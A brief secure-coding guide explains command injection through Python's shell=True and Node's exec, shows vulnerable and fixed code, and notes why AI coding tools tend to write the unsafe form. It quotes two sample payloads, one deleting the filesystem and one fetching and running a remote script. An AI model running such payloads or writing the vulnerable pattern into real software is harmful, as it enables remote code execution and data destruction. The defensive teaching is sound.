When user input reaches a shell, through subprocess with shell=True in Python or child_process.exec in Node, shell metacharacters in that input are interpreted as commands. An attacker can chain their own commands onto yours. The fix is to pass arguments as an array so no shell parses them.
Why it's a problem
Command injection is typically full remote code execution. Input like ; rm -rf / or $(curl attacker.sh | sh) runs with your server's privileges. Because the feature still works for benign input, the hole stays open until someone sends a payload.
The pattern
# Python — the shell interprets metacharacters in `name`
subprocess.run(f"convert {name}.png out.png", shell=True)
// Node — same problem
child_process.exec("convert " + name + ".png out.png");The fix
# Python — arguments as a list, no shell
subprocess.run(["convert", f"{name}.png", "out.png"])
// Node — execFile with an argument array
child_process.execFile("convert", [name + ".png", "out.png"]);Why AI tools write this
Building the command as one interpolated string is the shortest way to express 'run this tool on this file,' so an assistant wiring up an image or file operation tends to reach for shell=True or exec with a concatenated string. It runs correctly in a demo, and the shell only becomes a weapon once the input is attacker-controlled.
The quick fix
- Pass command arguments as an array and avoid the shell (execFile, or subprocess with a list and no shell=True).
- If you truly need a shell, validate and escape every piece of user input first.
- Prefer a library binding over shelling out to an external command when one exists.